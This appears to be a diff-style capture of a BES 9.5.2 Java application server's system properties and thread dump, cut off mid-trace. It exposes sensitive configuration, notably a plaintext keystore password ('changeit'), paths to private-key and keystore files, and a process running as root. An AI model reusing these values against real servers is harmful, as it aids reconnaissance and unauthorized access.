+javax.xml.stream.XMLInputFactory: com.bes.wstx.stax.WstxInputFactory
+bes.home: /opt/bes
+catalina.useNaming: true
+redis.loader: "${bes.home}/lib/redis/*.jar"
+os.name: Linux
+sun.boot.class.path: /opt/bes/lib/endorsed/javaee-api-endorsed.jar:/usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes
+javax.security.jacc.PolicyConfigurationFactory.provider: com.bes.enterprise.ejb.core.security.JaccProvider$Factory
+javax.net.ssl.certificateFile: /opt/bes/conf/security/cert.pem
+java.vm.specification.vendor: Oracle Corporation
+java.runtime.version: 1.8.0_342-b07
+jgroups.loader: "${bes.home}/lib/jgroups/*.jar"
+xxx: xxx
+javax.net.ssl.keyStore: /opt/bes/conf/security/keystore.jks
+javax.net.ssl.certificateKeyFile: /opt/bes/conf/security/key.pem
+user.name: root
+shared.loader: "${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar"
+com.bes.resource.ejb.leakDetect: false
+com.bes.hostName: d35a5df256eb
+java.naming.factory.initial: com.bes.jndi.CtxFactory
+user.language: en
+derby.system.home: /opt/bes
+sun.boot.library.path: /usr/local/openjdk-8/jre/lib/amd64
+com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
+com.bes.enterprise.log.outAndErrNotRedirect: false
+java.version: 1.8.0_342
+java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager
+user.timezone: Etc/UTC
+java.net.preferIPv4Stack: true
+sun.arch.data.model: 64
+com.bes.installRoot: /opt/bes
+java.util.concurrent.ForkJoinPool.common.threadFactory: com.bes.enterprise.webtier.startup.SafeForkJoinWorkerThreadFactory
+java.endorsed.dirs: /opt/bes/lib/endorsed
+java.rmi.server.randomIDs: true
+sun.cpu.isalist:
+sun.jnu.encoding: UTF-8
+file.encoding.pkg: sun.io
+bes.base: /opt/bes
+package.access: sun.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.web.
+file.separator: /
+java.specification.name: Java Platform API Specification
+java.class.version: 52.0
+java.home: /usr/local/openjdk-8/jre
+java.vm.info: mixed mode
+com.bes.instanceName: server
+com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
+os.version: 6.8.0-111-generic
+path.separator: :
+java.vm.version: 25.342-b07
+com.bes.verboseMode: true
+bval.in-container: true
+com.bes.enterprise.deployments.classpath.filter.systemapps: false
+com.bes.resource.leakDetect: false
+jdbc.drivers: org.apache.derby.jdbc.ClientDriver
+java.awt.printerjob: sun.print.PSPrinterJob
+java.security.policy: /opt/bes/conf/security/server.policy
+sun.io.unicode.encoding: UnicodeLittle
+awt.toolkit: sun.awt.X11.XToolkit
+javax.net.ssl.certificateChainFile: /opt/bes/conf/security/chain.pem
+package.definition: sun.,java.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.naming.,com.bes.enterprise.web.
+java.naming.factory.url.pkgs: com.bes.enterprise.naming:com.bes.enterprise.ejb.core.ivm.naming
+java.security.egd: file:/dev/./urandom
+user.home: /root
+java.specification.vendor: Oracle Corporation
+java.library.path: /opt/bes/lib:/opt/bes/modules/native/linux/x64
+java.vendor.url: http://java.oracle.com/
+com.bes.enterprise.deployments.classpath: false
+java.vm.vendor: Oracle Corporation
+common.loader: "${bes.home}/lib/*.jar","${bes.home}/lib/3rd/*.jar","${bes.home}/lib/*.jar","${bes.home}/modules/besmq/lib/client/*.jar","${bes.home}/modules/besmq/lib/admin/*.jar","${bes.home}/modules/besmq/lib/besmq-common.jar","${bes.home}/modules/db/lib/derby.jar","${bes.home}/modules/db/lib/derbyclient.jar"
+com.bes.enterprise.startup.ExitOnInitFailure: true
+java.runtime.name: OpenJDK Runtime Environment
+sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false -instancename server start
+java.class.path: /opt/bes/patch/V9.5.2.4703.010.core.jar:/opt/bes/patch/V9.5.2.4703.009.core.jar:/opt/bes/patch/V9.5.2.4703.005.core.jar:/opt/bes/patch/V9.5.2.4703.004.core.jar:/opt/bes/patch/V9.5.2.4703.003.core.jar:/opt/bes/patch/V9.5.2.4703.002.core.jar:/opt/bes/patch/V9.5.2.4703.001.core.jar:/opt/bes/lib/bootstrap.jar:/opt/bes/lib/bes-logger.jar:/opt/bes/lib/bes-config-parser.jar:/opt/bes/lib/bes-config-serverbeans.jar:/opt/bes/lib/bes-patch.jar:/opt/bes/lib/bes-license.jar:/opt/bes/lib/bes-common-util.jar:/opt/bes/lib/3rd/org.apache.commons.commons-codec_1.10.jar:/opt/bes/lib/3rd/org.apache.commons.commons-logging_1.1.3.jar:/opt/bes/lib/3rd/org.codehaus.woodstox.stax2-api_3.1.4.jar:/opt/bes/lib/3rd/org.codehaus.woodstox.woodstox-core-asl_4.4.1.jar
+com.bes.instanceRoot: /opt/bes
+java.vm.specification.name: Java Virtual Machine Specification
+com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,commons-lang,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,javaee,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-gmcert,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.commons.commons-collections,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket
+java.vm.specification.version: 1.8
+sun.cpu.endian: little
+sun.os.patch.level: unknown
+java.awt.headless: true
+java.io.tmpdir: /tmp
+java.vendor.url.bug: http://bugreport.sun.com/bugreport/
+server.loader:
+os.arch: amd64
+java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
+bes.version: 9.5.2
+com.bes.enterprise.embedder.source: ServerListener
+java.ext.dirs: /usr/local/openjdk-8/lib/ext:/usr/local/openjdk-8/jre/lib/ext:/opt/bes/lib/ext:/usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext
+user.dir: /opt/bes/conf
+com.bes.enterprise.log.async.logger: true
+line.separator:
+
+java.vm.name: OpenJDK 64-Bit Server VM
+com.bes.enterprise.provider.default: com.bes.enterprise
+com.bes.enterprise.web.util.buf.StringCache.byte.enabled: true
+file.encoding: UTF-8
+ANTLR_USE_DIRECT_CLASS_LOADING: true
+com.bes.enterprise.ejb.configurator: com.bes.enterprise.ejb.BESEjbConfigurationFactory
+com.bes.javaRoot: /usr/local/openjdk-8
+java.specification.version: 1.8
+javax.net.ssl.trustStore: /opt/bes/conf/security/cacerts.jks
+javax.net.ssl.keyStorePassword: changeit
+
+===========================================
+
+ThreadStacks:
+"RMI Scheduler(0)" #95 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4583538c
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Spark-Acceptor" #83 [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at com.bes.ejb.spark.tcp.transport.AcceptorThread.a(AcceptorThread.java:274)
+ at com.bes.ejb.spark.tcp.transport.AcceptorThread.startEndpoint(AcceptorThread.java:423)
+ at com.bes.ejb.spark.tcp.transport.AcceptorThread.run(AcceptorThread.java:508)
+
+"AcceptorThread-8080-1" #77 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
+ at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:500)
+ at java.lang.Thread.run(Thread.java:750)
+
+"httpWorkerThread-1900-2" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5f273ffc
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
+ at java.lang.Thread.run(Thread.java:750)
+
+"SelectorReaderThread-1900-1" #73 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:892)
+ at java.lang.Thread.run(Thread.java:750)
+
+"jmsra-WorkerThread-3" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6908709b
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
+ at java.lang.Thread.run(Thread.java:750)
+
+"AcceptorThread-1900-1" #74 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
+ at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:500)
+ at java.lang.Thread.run(Thread.java:750)
+
+"KeepAliveTimer" #58 daemon [TIMED_WAITING] on java.util.TaskQueue@321edd13
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"RMI Reaper" #93 [WAITING] on java.lang.ref.ReferenceQueue$Lock@6d5ef7ef
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
+ at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
+ at java.lang.Thread.run(Thread.java:750)
+
+"httpWorkerThread-1900-3" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5f273ffc
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
+ at java.lang.Thread.run(Thread.java:750)
+
+"httpWorkerThread-8080-8" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
+ at java.lang.Thread.run(Thread.java:750)
+
+"AsyncTimeoutThread-8080" #78 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1161)
+ at java.lang.Thread.run(Thread.java:750)
+
+"httpWorkerThread-8080-1" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
+ at java.lang.Thread.run(Thread.java:750)
+
+"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@2146c838
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:268)
+ at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:233)
+ at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:224)
+ at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+ at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+ at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+ at java.lang.reflect.Method.invoke(Method.java:498)
+ at com.bes.enterprise.appserver.startup.Bootstrap.start(Bootstrap.java:434)
+ at com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:565)
+ at com.bes.enterprise.startup.ASMain.main(ASMain.java:27)
+
+"jmsra-WorkerThread-1" #53 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6908709b
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Spark_6" #90 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
+ at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
+
+"Spark_7" #91 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
+ at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
+
+"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[/sysapp]]" #81 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
+ at java.lang.Thread.run(Thread.java:750)
+
+"bes-deployment-scheduled-executor-thread." #82 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f0f0d88
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"httpWorkerThread-8080-5" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI TCP Connection(2)-172.17.0.3" #97 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.SocketInputStream.socketRead0(Native Method)
+ at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
+ at java.net.SocketInputStream.read(SocketInputStream.java:171)
+ at java.net.SocketInputStream.read(SocketInputStream.java:141)
+ at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
+ at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
+ at java.io.FilterInputStream.read(FilterInputStream.java:83)
+ at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/1879938894.run(Unknown Source)
+ at java.security.AccessController.doPrivileged(Native Method)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Spark_5" #89 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
+ at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
+
+"RetryTimer" #52 daemon [WAITING] on java.util.TaskQueue@73084ccb
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.util.TimerThread.mainLoop(Timer.java:526)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"httpWorkerThread-8080-3" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
+ at java.lang.Thread.run(Thread.java:750)
+
+"httpWorkerThread-8080-7" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI TCP Accept-6600" #92 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Spark_0" #84 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@64185d9a
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
